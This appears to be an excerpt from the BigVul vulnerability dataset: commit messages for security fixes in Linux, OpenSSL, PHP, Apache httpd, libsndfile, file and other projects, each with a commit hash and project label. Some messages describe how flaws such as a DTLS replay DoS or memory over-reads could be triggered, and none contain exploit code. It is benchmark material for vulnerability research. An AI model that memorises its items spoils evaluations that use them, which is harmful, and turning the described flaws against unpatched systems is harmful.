KVM: x86: SYSENTER emulation is broken SYSENTER emulation is broken in several ways: 1. It misses the case of 16-bit code segments completely (CVE-2015-0239). 2. MSR_IA32_SYSENTER_CS is checked in 64-bit mode incorrectly (bits 0 and 1 can still be set without causing #GP). 3. MSR_IA32_SYSENTER_EIP and MSR_IA32_SYSENTER_ESP are not masked in legacy-mode. 4. There is some unneeded code. Fix it. Cc: stable@vger.linux.org Signed-off-by: Nadav Amit <namit@cs.technion.ac.il> Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>

f3747379accba8e95d70cec0eae0582c8c182050

linux

bigvul

Fix for bug #68710 (Use After Free Vulnerability in PHP's unserialize())

b585a3aed7880a5fa5c18e2b838fc96f40e075bd

php-src

bigvul

*) SECURITY: CVE-2015-0228 (cve.mitre.org) mod_lua: A maliciously crafted websockets PING after a script calls r:wsupgrade() can cause a child process crash. [Edward Lu <Chaosed0 gmail.com>] Discovered by Guido Vranken <guidovranken gmail.com> Submitted by: Edward Lu Committed by: covener git-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1657261 13f79535-47bb-0310-9956-ffa450edef68

643f0fcf3b8ab09a68f0ecd2aa37aafeda3e63ef

httpd

bigvul

A memory leak can occur in dtls1_buffer_record if either of the calls to ssl3_setup_buffers or pqueue_insert fail. The former will fail if there is a malloc failure, whilst the latter will fail if attempting to add a duplicate record to the queue. This should never happen because duplicate records should be detected and dropped before any attempt to add them to the queue. Unfortunately records that arrive that are for the next epoch are not being recorded correctly, and therefore replays are not being detected. Additionally, these "should not happen" failures that can occur in dtls1_buffer_record are not being treated as fatal and therefore an attacker could exploit this by sending repeated replay records for the next epoch, eventually causing a DoS through memory exhaustion. Thanks to Chris Mueller for reporting this issue and providing initial analysis and a patch. Further analysis and the final patch was performed by Matt Caswell from the OpenSSL development team. CVE-2015-0206 Reviewed-by: Dr Stephen Henson <steve@openssl.org>

103b171d8fc282ef435f8de9afbf7782e312961f

openssl

bigvul

Unauthenticated DH client certificate fix. Fix to prevent use of DH client certificates without sending certificate verify message. If we've used a client certificate to generate the premaster secret ssl3_get_client_key_exchange returns 2 and ssl3_get_cert_verify is never called. We can only skip the certificate verify message in ssl3_get_cert_verify if the client didn't send a certificate. Thanks to Karthikeyan Bhargavan for reporting this issue. CVE-2015-0205 Reviewed-by: Matt Caswell <matt@openssl.org>

1421e0c584ae9120ca1b88098f13d6d2e90b83a3

openssl

bigvul

Only allow ephemeral RSA keys in export ciphersuites. OpenSSL clients would tolerate temporary RSA keys in non-export ciphersuites. It also had an option SSL_OP_EPHEMERAL_RSA which enabled this server side. Remove both options as they are a protocol violation. Thanks to Karthikeyan Bhargavan for reporting this issue. (CVE-2015-0204) Reviewed-by: Matt Caswell <matt@openssl.org>

ce325c60c74b0fa784f5872404b722e120e5cab0

openssl

bigvul

src/file_io.c : Prevent potential divide-by-zero. Closes: https://github.com/erikd/libsndfile/issues/92

725c7dbb95bfaf8b4bb7b04820e3a00cceea9ce6

libsndfile

bigvul

udf: Check path length when reading symlink Symlink reading code does not check whether the resulting path fits into the page provided by the generic code. This isn't as easy as just checking the symlink size because of various encoding conversions we perform on path. So we have to check whether there is still enough space in the buffer on the fly. CC: stable@vger.kernel.org Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no> Signed-off-by: Jan Kara <jack@suse.cz>

0e5cc9a40ada6046e6bc3bdfcd0c0d7e4b706b14

linux

bigvul

udf: Check component length before reading it Check that length specified in a component of a symlink fits in the input buffer we are reading. Also properly ignore component length for component types that do not use it. Otherwise we read memory after end of buffer for corrupted udf image. Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no> CC: stable@vger.kernel.org Signed-off-by: Jan Kara <jack@suse.cz>

e237ec37ec154564f8690c5bd1795339955eeef9

linux

bigvul

udf: Verify i_size when loading inode Verify that inode size is sane when loading inode with data stored in ICB. Otherwise we may get confused later when working with the inode and inode size is too big. CC: stable@vger.kernel.org Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no> Signed-off-by: Jan Kara <jack@suse.cz>

e159332b9af4b04d882dbcfe1bb0117f0a6d4b58

linux

bigvul

Merge pull request #101 from hintjens/master Problem: issue #1273, protocol downgrade attack

b6e3e0f601e2c1ec1f3aac880ed6a3fe63043e51

zeromq4-x

bigvul

netfilter: nf_conntrack: reserve two bytes for nf_ct_ext->len "len" contains sizeof(nf_ct_ext) and size of extensions. In a worst case it can contain all extensions. Bellow you can find sizes for all types of extensions. Their sum is definitely bigger than 256. nf_ct_ext_types[0]->len = 24 nf_ct_ext_types[1]->len = 32 nf_ct_ext_types[2]->len = 24 nf_ct_ext_types[3]->len = 32 nf_ct_ext_types[4]->len = 152 nf_ct_ext_types[5]->len = 2 nf_ct_ext_types[6]->len = 16 nf_ct_ext_types[7]->len = 8 I have seen "len" up to 280 and my host has crashes w/o this patch. The right way to fix this problem is reducing the size of the ecache extension (4) and Florian is going to do this, but these changes will be quite large to be appropriate for a stable tree. Fixes: 5b423f6a40a0 (netfilter: nf_conntrack: fix racy timer handling with reliable) Cc: Pablo Neira Ayuso <pablo@netfilter.org> Cc: Patrick McHardy <kaber@trash.net> Cc: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu> Cc: "David S. Miller" <davem@davemloft.net> Signed-off-by: Andrey Vagin <avagin@openvz.org> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>

223b02d923ecd7c84cf9780bb3686f455d279279

linux

bigvul

HTMLEncode strings in wddx_serialize_value() Summary: Strings returned through wddx_serialize_value should be HTMLEncode()'d during serialization. Fixes #4283 {sync, type="child", parent="internal", parentrevid="1691695", parentrevfbid="1537976659780590", parentdiffid="5726084"} Reviewed By: @JoelMarcey Differential Revision: D1691695 Signature: t1:1691695:1416530595:722bfcdaf7c0dbee379bea886cd4c43d997ca7dd

324701c9fd31beb4f070f1b7ef78b115fbdfec34

hhvm

bigvul

Btrfs: make xattr replace operations atomic Replacing a xattr consists of doing a lookup for its existing value, delete the current value from the respective leaf, release the search path and then finally insert the new value. This leaves a time window where readers (getxattr, listxattrs) won't see any value for the xattr. Xattrs are used to store ACLs, so this has security implications. This change also fixes 2 other existing issues which were: *) Deleting the old xattr value without verifying first if the new xattr will fit in the existing leaf item (in case multiple xattrs are packed in the same item due to name hash collision); *) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't exist but we have have an existing item that packs muliple xattrs with the same name hash as the input xattr. In this case we should return ENOSPC. A test case for xfstests follows soon. Thanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace implementation. Reported-by: Alexandre Oliva <oliva@gnu.org> Signed-off-by: Filipe Manana <fdmanana@suse.com> Signed-off-by: Chris Mason <clm@fb.com>

5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339

linux

bigvul

DEV: switch to use ssplit and mprReadJson ssplit is more robust than stok because it does not return null mprReadJson is faster, simpler and does not support dotted keys.

7e6a925f5e86a19a7934a94bbd6959101d0b84eb#diff-7ca4d62c70220e0e226e7beac90c95d9L17348

appweb

bigvul

FIX: Dot filename segments permit directory traversal [issue 106]

eed4a7d177bf94a54c7b06ccce88507fbd76fb77

goahead

bigvul

eCryptfs: Remove buggy and unnecessary write in file name decode routine Dmitry Chernenkov used KASAN to discover that eCryptfs writes past the end of the allocated buffer during encrypted filename decoding. This fix corrects the issue by getting rid of the unnecessary 0 write when the current bit offset is 2. Signed-off-by: Michael Halcrow <mhalcrow@google.com> Reported-by: Dmitry Chernenkov <dmitryc@google.com> Suggested-by: Kees Cook <keescook@chromium.org> Cc: stable@vger.kernel.org # v2.6.29+: 51ca58d eCryptfs: Filename Encryption: Encoding and encryption functions Signed-off-by: Tyler Hicks <tyhicks@canonical.com>

942080643bce061c3dd9d5718d3b745dcb39a8bc

linux

bigvul

Bail out on partial reads, from Alexander Cherepanov

445c8fb0ebff85195be94cd9f7e1df89cade5c7f

file

bigvul

PR/398: Correctly truncate pascal strings (fixes out of bounds read of 1, 2, or 4 bytes).

59e63838913eee47f5c120a6c53d4565af638158

file

bigvul

crypto: include crypto- module prefix in template This adds the module loading prefix "crypto-" to the template lookup as well. For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly includes the "crypto-" prefix at every level, correctly rejecting "vfat": net-pf-38 algif-hash crypto-vfat(blowfish) crypto-vfat(blowfish)-all crypto-vfat Reported-by: Mathias Krause <minipli@googlemail.com> Signed-off-by: Kees Cook <keescook@chromium.org> Acked-by: Mathias Krause <minipli@googlemail.com> Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>

4943ba16bbc2db05115707b3ff7b4874e9e3c560

linux

bigvul

Limit string printing to 100 chars, and add flags I forgot in the previous commit.

65437cee25199dbd385fb35901bc0011e164276c

file

bigvul

- Add a limit to the number of ELF notes processed (Suggested by Alexander Cherepanov) - Restructure ELF note printing so that we don't print the same message multiple times on repeated notes of the same kind.

ce90e05774dd77d86cfc8dfa6da57b32816841c4

file

bigvul

isofs: Fix unchecked printing of ER records We didn't check length of rock ridge ER records before printing them. Thus corrupted isofs image can cause us to access and print some memory behind the buffer with obvious consequences. Reported-and-tested-by: Carl Henrik Lunde <chlunde@ping.uio.no> CC: stable@vger.kernel.org Signed-off-by: Jan Kara <jack@suse.cz>

4e2024624e678f0ebb916e6192bd23c1f9fdf696

linux

bigvul

KEYS: close race between key lookup and freeing When a key is being garbage collected, it's key->user would get put before the ->destroy() callback is called, where the key is removed from it's respective tracking structures. This leaves a key hanging in a semi-invalid state which leaves a window open for a different task to try an access key->user. An example is find_keyring_by_name() which would dereference key->user for a key that is in the process of being garbage collected (where key->user was freed but ->destroy() wasn't called yet - so it's still present in the linked list). This would cause either a panic, or corrupt memory. Fixes CVE-2014-9529. Signed-off-by: Sasha Levin <sasha.levin@oracle.com> Signed-off-by: David Howells <dhowells@redhat.com>

a3a8784454692dd72e5d5d34dcdab17b4420e74c

linux

bigvul

src/sd2.c : Fix two potential buffer read overflows. Closes: https://github.com/erikd/libsndfile/issues/93

dbe14f00030af5d3577f4cabbf9861db59e9c378

libsndfile

bigvul